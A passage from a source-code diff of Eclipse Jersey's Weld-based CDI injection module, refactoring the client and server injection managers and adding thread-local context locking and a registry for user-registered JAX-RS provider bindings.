-import java.util.Collection;
 import java.util.IdentityHashMap;
 import java.util.Map;
 
 /**
- * Each Client Runtime has a unique CdiClientInjectionManager, which passes proper {@link Binding} to the Weld.
+ * Each Client Runtime has a unique CdiClientInjectionManager, which passes proper {@link InternalBinding} to the Weld.
  */
-public class CdiClientInjectionManager extends CdiInjectionManager {
+public final class CdiClientInjectionManager extends CdiInjectionManager {
 
     private Map<InitializableInstanceBinding, InitializableInstanceBinding> clientInstanceBindings = new IdentityHashMap<>();
     private Map<InitializableSupplierInstanceBinding, InitializableSupplierInstanceBinding> clientSupplierInstanceBindings
             = new IdentityHashMap<>();
     private Map<SupplierClassBinding, SupplierClassBinding> clientSupplierClassBinding = new IdentityHashMap<>();
+    private Map<ClassBinding, ClassBinding> clientClassBinding = new IdentityHashMap<>();
 
-    public CdiClientInjectionManager(BeanManager beanManager, Binder bindings) {
-        super(beanManager, bindings);
+    CdiClientInjectionManager(BeanManager beanManager, BinderRegisterExtension.MergedBindings bindings) {
+        super(beanManager, bindings, RuntimeType.CLIENT);
     }
 
     @Override
     public void register(Binding binding) {
         if (InstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = getBindings().getBindings();
-            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
-                }
-            }
+//            final Collection<Binding> preBindings = getBindings().getBindings();
+//            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableInstanceBinding> matching;
+//            MatchableBinding.Matching<InitializableInstanceBinding> matching =
+//                    findPrebinding(InitializableInstanceBinding.class, binding /*, RuntimeType.CLIENT*/);
+//            if (matching.matches()) {
+//                matching.getBinding().init(((InstanceBinding) binding).getService());
+//                return;
+//            }
+            matching = findPrebinding(InitializableInstanceBinding.class, binding/*, RuntimeType.SERVER*/);
             if (matching.matches()) {
                 final InitializableInstanceBinding clone = matching.getBinding().clone();
                 clone.init(((InstanceBinding) binding).getService());
                 clientInstanceBindings.put(matching.getBinding(), clone);
             } else {
-                throw new IllegalStateException("Not initialized " + ((InstanceBinding<?>) binding).getService());
-            }
-        } else if (SupplierInstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = getBindings().getBindings();
-            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(((InitializableSupplierInstanceBinding) preBinding).matchesContracts(binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
+                if (!userBindings.init((InstanceBinding<?>) binding)) {
+                    throw new IllegalStateException("Not initialized " + ((InstanceBinding<?>) binding).getService());
                 }
             }
+        } else if (SupplierInstanceBinding.class.isInstance(binding)) {
+//            final Collection<Binding> preBindings = getBindings().getBindings();
+//            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(((InitializableSupplierInstanceBinding) preBinding).matchesContracts(binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching =
+                    findPrebinding(InitializableSupplierInstanceBinding.class, binding);
             if (matching.matches()) {
                 final InitializableSupplierInstanceBinding clone = matching.getBinding().clone();
                 clone.init(((SupplierInstanceBinding) binding).getSupplier());
@@ -108,6 +126,15 @@
 //            } else {
 //                throw new IllegalStateException("Not initialized " + ((SupplierInstanceBinding<?>) binding).getSupplier());
 //            }
+        } else if (ClassBinding.class.isInstance(binding)) {
+            ClassBinding prebinding = findClassBinding(binding.getImplementationType());
+            if (prebinding == null) {
+                //User registered provider
+                if (!userBindings.init((ClassBinding<?>) binding)) {
+                    throw new IllegalStateException("Unexpected");
+                }
+                clientClassBinding.put(prebinding, (ClassBinding) binding);
+            }
         }
     }
 
@@ -123,7 +150,22 @@
 
     public SupplierClassBinding getInjectionManagerBinding(SupplierClassBinding binding) {
         SupplierClassBinding clientBinding = clientSupplierClassBinding.get(binding);
-        return clientBinding;
+        return clientBinding != null ? clientBinding : binding;
+    }
+
+    public ClassBinding getInjectionManagerBinding(ClassBinding binding) {
+        ClassBinding clientBinding = clientClassBinding.get(binding);
+        return clientBinding != null ? clientBinding : binding;
+    }
+
+    @Override
+    protected void lockContext() {
+        ContextSafe.lockContext(this);
+    }
+
+    @Override
+    protected void unlockContext() {
+        ContextSafe.unlock(this);
     }
 
     @Override
@@ -145,7 +187,40 @@
 
     @Override
     protected boolean isRuntimeTypeBean(Bean<?> bean) {
-        return !JerseyBean.class.isInstance(bean) || ((JerseyBean) bean).getRutimeType() == RuntimeType.CLIENT;
+        return !JerseyBean.class.isInstance(bean)
+                || ((JerseyBean) bean).getRutimeType() == RuntimeType.CLIENT
+                || clientInstanceBindings.containsKey(((JerseyBean<?>) bean).getBinding())
+                || clientSupplierInstanceBindings.containsKey(((JerseyBean<?>) bean).getBinding())
+                || isTwoFoldInstantiator((JerseyBean) bean);
     }
 
+    private static boolean isTwoFoldInstantiator(JerseyBean bean) {
+        InjectionTarget injectionTarget = null;
+        if (ClassBean.class.isInstance(bean)) {
+            injectionTarget = ((ClassBean) bean).getInjectionTarget();
+        } else if (SupplierClassBean.class.isInstance(bean)) {
+            injectionTarget = ((SupplierClassBean) bean).getInjectionTarget();
+        }
+
+        if (injectionTarget != null) {
+            if (JerseyInjectionTarget.class.isInstance(injectionTarget)) {
+                JerseyInjectionTarget jerseyInjectionTarget = (JerseyInjectionTarget) injectionTarget;
+                return jerseyInjectionTarget.getTwofoldInstantiator().hasOptionalConstructorInjectionPoint();
+            }
+        }
+        return false;
+    }
+
+    private boolean isInit(JerseyBean bean) {
+        if (InitializableBinding.class.isInstance(bean.getBinding())) {
+            return ((InitializableBinding) bean.getBinding()).isInit();
+        } else {
+            return true;
+        }
+    }
+
+    @Override
+    public RuntimeType getRuntimeType() {
+        return RuntimeType.CLIENT;
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java
index e5759ea..c0a31f6 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,12 @@
 package org.glassfish.jersey.inject.weld.internal.managed;
 
 import java.lang.annotation.Annotation;
+import java.lang.reflect.Field;
+import java.lang.reflect.Member;
+import java.lang.reflect.Modifier;
 import java.lang.reflect.Type;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Iterator;
@@ -34,37 +39,44 @@
 import jakarta.inject.Singleton;
 import jakarta.ws.rs.RuntimeType;
 
+import jakarta.ws.rs.core.Context;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
 import org.glassfish.jersey.inject.weld.internal.inject.MatchableBinding;
+import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
 
 /**
  * Implementation of {@link InjectionManager} used on the server side.
  */
 @Singleton
-public class CdiInjectionManager implements InjectionManager {
+class CdiInjectionManager implements InjectionManager {
 
     private final BeanManager beanManager;
-    private final Binder bindings;
+    private final BinderRegisterExtension.MergedBindings bindings;
     private boolean isCompleted = false;
     Set<Class<?>> managedBeans;
+    protected final ProviderBindings userBindings;
 
     // Keeps all binders and bindings added to the InjectionManager during the bootstrap.
 
-    public CdiInjectionManager(BeanManager beanManager, Binder bindings) {
+    CdiInjectionManager(BeanManager beanManager, BinderRegisterExtension.MergedBindings bindings, RuntimeType runtimeType) {
         this.beanManager = beanManager;
         this.bindings = bindings;
+        userBindings = new ProviderBindings(runtimeType, this);
     }
 
     @Override
@@ -73,33 +85,37 @@
             return;
         }
         if (InstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = bindings.getBindings();
-            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
-                }
-            }
+//            final Collection<Binding> preBindings = bindings.getBindings();
+//            MatchableBinding.Matching<InitializableInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(((InitializableInstanceBinding) preBinding).matches((InstanceBinding) binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableInstanceBinding> matching
+                    = findPrebinding(InitializableInstanceBinding.class, binding);
             if (matching.matches()) {
                matching.getBinding().init(((InstanceBinding) binding).getService());
-            } else if (findClassBinding(binding.getImplementationType()) == null) {
-                throw new IllegalStateException("Not initialized " + ((InstanceBinding<?>) binding).getService());
+            } else if (!userBindings.init((InstanceBinding<?>) binding)){
+                throw new IllegalStateException("Could not initialize " + ((InstanceBinding<?>) binding).getService());
             }
         } else if (SupplierInstanceBinding.class.isInstance(binding)) {
-            final Collection<Binding> preBindings = bindings.getBindings();
-            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
-            for (Binding preBinding : preBindings) {
-                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
-                    matching = matching.better(
-                            ((InitializableSupplierInstanceBinding) preBinding).matches((SupplierInstanceBinding) binding));
-                    if (matching.isBest()) {
-                        break;
-                    }
-                }
-            }
+//            final Collection<Binding> preBindings = bindings.getBindings();
+//            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching = MatchableBinding.Matching.noneMatching();
+//            for (Binding preBinding : preBindings) {
+//                if (InitializableSupplierInstanceBinding.class.isInstance(preBinding)) {
+//                    matching = matching.better(
+//                            ((InitializableSupplierInstanceBinding) preBinding).matches((SupplierInstanceBinding) binding));
+//                    if (matching.isBest()) {
+//                        break;
+//                    }
+//                }
+//            }
+            MatchableBinding.Matching<InitializableSupplierInstanceBinding> matching =
+                    findPrebinding(InitializableSupplierInstanceBinding.class, binding);
             if (matching.matches()) {
                 matching.getBinding().init(((SupplierInstanceBinding) binding).getSupplier());
             } else {
@@ -118,14 +134,38 @@
 //                }
 //            }
 //            if (!found) {
-                throw new IllegalStateException("ClassBinding for " + binding.getImplementationType() + " not preregistered");
+                if (!userBindings.init((ClassBinding<?>) binding)) {
+                    throw new IllegalStateException("ClassBinding for " + binding.getImplementationType() + " not preregistered");
+                }
             }
         }
     }
 
-    private <T> ClassBinding<T> findClassBinding(Class<T> implementationType) {
+    protected <MB extends MatchableBinding> MatchableBinding.Matching<MB>
+    findPrebinding(Class<MB> matchebleBindingClass, Binding binderBinding) {
+        final Collection<Binding> preBindings;
+//        if (runtimeType == RuntimeType.SERVER) {
+//            preBindings = bindings.getServerBindings();
+//        } else if (runtimeType == RuntimeType.CLIENT) {
+//            preBindings = bindings.getClientBindings();
+//        } else {
+            preBindings = bindings.getBindings();
+//        }
+        MatchableBinding.Matching<MB> matching = MatchableBinding.Matching.noneMatching();
+        for (Binding preBinding : preBindings) {
+            if (matchebleBindingClass.isInstance(preBinding)) {
+                matching = matching.better(((MB) preBinding).matching((InternalBinding) binderBinding));
+                if (matching.isBest()
+                        || (matching.matches() && ((InternalBinding) binderBinding).isForClient())) {
+                    break;
+                }
+            }
+        }
+        return matching;
+    }
+
+    protected <T> ClassBinding<T> findClassBinding(Class<T> implementationType) {
         final Collection<Binding> preBindings = bindings.getBindings();
-        boolean found = false;
         for (Binding preBinding : preBindings) {
             if (ClassBinding.class.isInstance(preBinding)
                     && ((ClassBinding) preBinding).getImplementationType().equals(implementationType)) {
@@ -135,6 +175,17 @@
         return null;
     }
 
+    protected <T> SupplierClassBinding<T> findSupplierClassBinding(Class<T> implementationType) {
+        final Collection<Binding> preBindings = bindings.getBindings();
+        for (Binding preBinding : preBindings) {
+            if (SupplierClassBinding.class.isInstance(preBinding)
+                    && ((SupplierClassBinding) preBinding).getImplementationType().equals(implementationType)) {
+                return (SupplierClassBinding<T>) preBinding;
+            }
+        }
+        return null;
+    }
+
     private boolean isManagedClass(Binding binding) {
         return managedBeans != null
                 && binding.getImplementationType() != null
@@ -168,17 +219,23 @@
 
     @Override
     public <T> T create(Class<T> createMe) {
-        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(createMe).newInstance();
+        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(beanManager, createMe).newInstance();
         return unmanaged.produce().get();
     }
 
     @Override
     public <T> T createAndInitialize(Class<T> createMe) {
-        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(createMe).newInstance();
-        return unmanaged.produce()
-                .inject()
-                .postConstruct()
-                .get();
+        Unmanaged.UnmanagedInstance<T> unmanaged = new Unmanaged<>(beanManager, createMe).newInstance();
+
+        try {
+            this.lockContext();
+            unmanaged = unmanaged.produce().inject();
+            injectContext(unmanaged.get());
+        } finally {
+            this.unlockContext();
+        }
+
+        return unmanaged.postConstruct().get();
     }
 
     @Override
@@ -191,16 +248,25 @@
                 continue;
             }
 
-            CreationalContext<?> ctx = createCreationalContext(bean);
-            T reference = (T) beanManager.getReference(bean, contractOrImpl, ctx);
+            final T reference;
 
-            int rank = 1;
+            CreationalContext<?> ctx = createCreationalContext(bean);
+            try {
+                lockContext();
+                reference = (T) beanManager.getReference(bean, contractOrImpl, ctx);
+            } finally {
+                unlockContext();
+            }
+
+
+            int rank = 0;
             if (bean instanceof JerseyBean) {
                 rank = ((JerseyBean) bean).getRank();
             }
 
             result.add(new ServiceHolderImpl<>(reference, (Class<T>) bean.getBeanClass(), bean.getTypes(), rank));
         }
+        result.addAll(userBindings.getServiceHolders(contractOrImpl));
         return result;
     }
 
@@ -220,7 +286,7 @@
     }
 
     @SuppressWarnings("unchecked")
-    protected <T> T getInstanceInternal(Type contractOrImpl, Annotation... qualifiers) {
+    protected <T> T  getInstanceInternal(Type contractOrImpl, Annotation... qualifiers) {
 //        if (contractOrImpl.getTypeName().contains("HelloResource")) {
 //            T t = (T) CDI.current().select((Class) contractOrImpl, qualifiers).get();
 //            try {
@@ -242,11 +308,26 @@
 
         final Iterator<?> beansIterator = beans.iterator();
         Bean<?> bean = (Bean<?>) beansIterator.next();
-        while (beansIterator.hasNext() && !JerseyBean.class.isInstance(bean) && !isRuntimeTypeBean(bean)) {
-            bean = (Bean<?>) beansIterator.next(); // prefer Jersey binding
+        boolean isRuntimeType = false;
+        while (!(isRuntimeType = isRuntimeTypeBean(bean))) {
+            if (beansIterator.hasNext()) {
+                bean = (Bean<?>) beansIterator.next(); // prefer Jersey binding
+            } else {
+                break;
+            }
+        }
+        if (!isRuntimeType) {
+            throw new IllegalStateException("Bean for type " + contractOrImpl + " not found");
         }
         CreationalContext<T> ctx = createCreationalContext((Bean<T>) bean);
-        return (T) beanManager.getReference(bean, contractOrImpl, ctx);
+        final T t;
+        try {
+            lockContext();
+            t = (T) beanManager.getReference(bean, contractOrImpl, ctx);
+        } finally {
+            unlockContext();
+        }
+        return t;
     }
 
     @Override
@@ -286,10 +367,20 @@
     public <T> List<T> getAllInstances(Type contractOrImpl) {
         List<T> result = new ArrayList<>();
         for (Bean<?> bean : beanManager.getBeans(contractOrImpl)) {
+            if (!isRuntimeTypeBean(bean)) {
+                continue;
+            }
             CreationalContext<?> ctx = createCreationalContext(bean);
-            Object reference = beanManager.getReference(bean, contractOrImpl, ctx);
+            final Object reference;
+            try {
+                lockContext();
+                reference = beanManager.getReference(bean, contractOrImpl, ctx);
+            } finally {
+                unlockContext();
+            }
             result.add((T) reference);
         }
+        result.addAll(userBindings.getServices(contractOrImpl));
         return result;
     }
 
@@ -302,6 +393,48 @@
         InjectionTarget injectionTarget = injectionTargetFactory.createInjectionTarget(null);
 
         injectionTarget.inject(instance, creationalContext);
+
+        if (CdiInjectionManagerFactory.SUPPORT_CONTEXT) {
+            injectContext(instance);
+        }
+    }
+
+    public void injectContext(Object instance) {
+        Field[] fields = AccessController.doPrivileged(ReflectionHelper.getAllFieldsPA(instance.getClass()));
+        for (Field f : fields) {
+            if (f.isAnnotationPresent(Context.class)) {
+                setAccesible(f);
+                try {
+                    if (f.get(instance) == null) {
+                        Object o = getInstance(f.getType());
+                        f.set(instance, o);
+                    }
+                } catch (IllegalAccessException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    private static void setAccesible(Field member) {
+        if (isPublic(member)) {
+            return;
+        }
+
+        AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
+            member.setAccessible(true);
+            return null;
+        });
+    }
+
+    private static boolean isPublic(Member member) {
+        return Modifier.isPublic(member.getModifiers());
+    }
+
+    protected void lockContext() {
+    }
+
+    protected void unlockContext() {
     }
 
     @Override
@@ -338,7 +471,7 @@
         return false;
     }
 
-    protected Binder getBindings() {
+    protected BinderRegisterExtension.MergedBindings getBindings() {
         return bindings;
     }
 
@@ -361,11 +494,16 @@
      * @return true iff the given bean is not a Jersey Bean or the Jersey Bean is of the proper {@code RuntimeType}.
      */
     protected boolean isRuntimeTypeBean(Bean<?> bean) {
-        return !JerseyBean.class.isInstance(bean) || ((JerseyBean) bean).getRutimeType() == RuntimeType.SERVER;
+        return !JerseyBean.class.isInstance(bean)
+                || ((JerseyBean) bean).getRutimeType() == RuntimeType.SERVER;
     }
 
     @Override
     public void inject(Object injectMe, String classAnalyzer) {
+        if ("CONTEXT".equals(classAnalyzer)) {
+            injectContext(injectMe);
+            return;
+        }
         // TODO: Used only in legacy CDI integration.
         throw new UnsupportedOperationException();
     }
@@ -375,4 +513,9 @@
         // TODO: Used only in legacy CDI integration.
         throw new UnsupportedOperationException();
     }
+
+    @Override
+    public RuntimeType getRuntimeType() {
+        return RuntimeType.SERVER;
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ClientBootstrapPreinitialization.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ClientBootstrapPreinitialization.java
deleted file mode 100644
index c748f6c..0000000
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ClientBootstrapPreinitialization.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.inject.weld.internal.managed;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.client.ClientBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.PropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.collection.Ref;
-
-import java.util.function.Supplier;
-
-/**
- * Jersey Client Runtime pre-initialization implementation.
- */
-// TODO: put to a proper Jersey module
-public class ClientBootstrapPreinitialization implements BootstrapPreinitialization {
-
-    @Override
-    public void register(RuntimeType runtimeType, AbstractBinder binder) {
-        if (runtimeType == RuntimeType.SERVER) {
-            return;
-        }
-
-        ClientConfig config = new ClientConfig();
-        JerseyClient client = (JerseyClient) ClientBuilder.newClient(config);
-        client.getConfiguration().getClientExecutor();
-    }
-}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ContextSafe.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ContextSafe.java
new file mode 100644
index 0000000..1350b0f
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ContextSafe.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.managed;
+
+public final class ContextSafe {
+
+    private static final ThreadLocal<CdiClientInjectionManager> CURRENT_CONTEXT = new ThreadLocal<>();
+
+    public static void lockContext(CdiClientInjectionManager current) {
+        CURRENT_CONTEXT.set(current);
+    }
+
+    public static CdiClientInjectionManager get() {
+        return CURRENT_CONTEXT.get();
+    }
+
+    public static void unlock(CdiClientInjectionManager locked) {
+        CdiClientInjectionManager ctx = CURRENT_CONTEXT.get();
+        if (ctx != locked) {
+            throw new IllegalStateException("The CreationalContext safe has been compromised");
+        }
+        CURRENT_CONTEXT.remove();
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderBindings.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderBindings.java
new file mode 100644
index 0000000..8747b42
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderBindings.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.managed;
+
+import jakarta.ws.rs.Path;
+import org.glassfish.jersey.inject.weld.internal.inject.ClassListBinding;
+import org.glassfish.jersey.inject.weld.internal.inject.InstanceListBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.RxInvokerProvider;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.ParamConverterProvider;
+import jakarta.ws.rs.ext.ReaderInterceptor;
+import jakarta.ws.rs.ext.WriterInterceptor;
+import org.glassfish.jersey.internal.util.collection.Cache;
+import org.glassfish.jersey.server.model.Resource;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class ProviderBindings {
+    private final Map<Type, InstanceListBinding<?>> userInstanceBindings = new HashMap<>();
+    private final Map<Type, ClassListBinding<?>> userClassBindings = new HashMap<>();
+    private final Map<Type, ClassListBinding<?>> userPathBindings = new HashMap<>();
+    private final InjectionManager injectionManager;
+    // Check first if a class is a JAX-RS resource, and only if so check with validation.
+    // This prevents unnecessary warnings being logged for pure CDI beans.
+    private final Cache<Class<?>, Boolean> jaxRsResourceCache = new Cache<>(
+            clazz -> Resource.from(clazz, true) != null && Resource.from(clazz) != null);
+
+    public boolean isJaxRsResource(Class<?> resource) {
+        return jaxRsResourceCache.apply(resource);
+    }
+
+
+    ProviderBindings(RuntimeType runtimeType, InjectionManager injectionManager) {
+        this.injectionManager = injectionManager;
+
+        if (runtimeType == RuntimeType.CLIENT) {
+            init(ClientRequestFilter.class);
+            init(ClientResponseFilter.class);
+            init(RxInvokerProvider.class);
+        } else if (runtimeType == RuntimeType.SERVER) {
+            init(ContainerResponseFilter.class);
+            init(ContainerRequestFilter.class);
+            init(DynamicFeature.class);
+        }
+        init(ParamConverterProvider.class);
+        init(WriterInterceptor.class);
+        init(ReaderInterceptor.class);
+        init(MessageBodyReader.class);
+        init(MessageBodyWriter.class);
+    }
+
+    private <T> void init(Class<T> contract) {
+        userInstanceBindings.put(contract, new InstanceListBinding<>(contract));
+        userClassBindings.put(contract, new ClassListBinding<>(contract, injectionManager));
+    }
+
+    boolean init(InstanceBinding<?> userBinding) {
+        boolean init = false;
+        for (Type contract : userBinding.getContracts()) {
+            InstanceListBinding<?> binding = userInstanceBindings.get(contract);
+            if (binding != null) {
+                init = true;
+                binding.init(userBinding);
+            }
+        }
+        return init;
+    }
+
+    boolean init(ClassBinding<?> userBinding) {
+        boolean init = false;
+        for (Type contract : userBinding.getContracts()) {
+            ClassListBinding<?> binding = userClassBindings.get(contract);
+            if (binding != null) {
+                init = true;
+                binding.init(userBinding);
+            }
+        }
+
+        if (!init) {
+            init = initPathBinding(userBinding);
+        }
+
+        return init;
+    }
+
+    private boolean initPathBinding(ClassBinding<?> userBinding) {
+        boolean init = false;
+        if (isJaxRsResource(userBinding.getService())) {
+            for (Type contract : userBinding.getContracts()) {
+                if (isClass(contract)) {
+                    ClassListBinding<?> binding = userPathBindings.get(contract);
+                    if (binding != null) {
+                        binding.init(userBinding);
+                    } else {
+                        userPathBindings.put(contract, new ClassListBinding<>((Class) contract, injectionManager));
+                    }
+                    init = true;
+                }
+            }
+        }
+        return init;
+    }
+
+    <T> List<ServiceHolder<T>> getServiceHolders(Type contract) {
+        List<ServiceHolder<T>> list = new ArrayList<>();
+
+        InstanceListBinding<T> instanceBinding = (InstanceListBinding<T>) userInstanceBindings.get(contract);
+        if (instanceBinding != null) {
+            list.addAll(instanceBinding.getServiceHolders());
+        }
+
+        ClassListBinding<T> classBinding = (ClassListBinding<T>) userClassBindings.get(contract);
+        if (classBinding != null) {
+            list.addAll(classBinding.getServiceHolders());
+        } else if (isAnnotationPresent(contract, Path.class)) {
+            classBinding = (ClassListBinding<T>) userPathBindings.get(contract);
+            list.addAll(classBinding.getServiceHolders());
+        }
+
+        return list;
+    }
+
+    <T> List<T> getServices(Type contract) {
+        List<T> list = new ArrayList<>();
+
+        InstanceListBinding<T> instanceBinding = (InstanceListBinding<T>) userInstanceBindings.get(contract);
+        if (instanceBinding != null) {
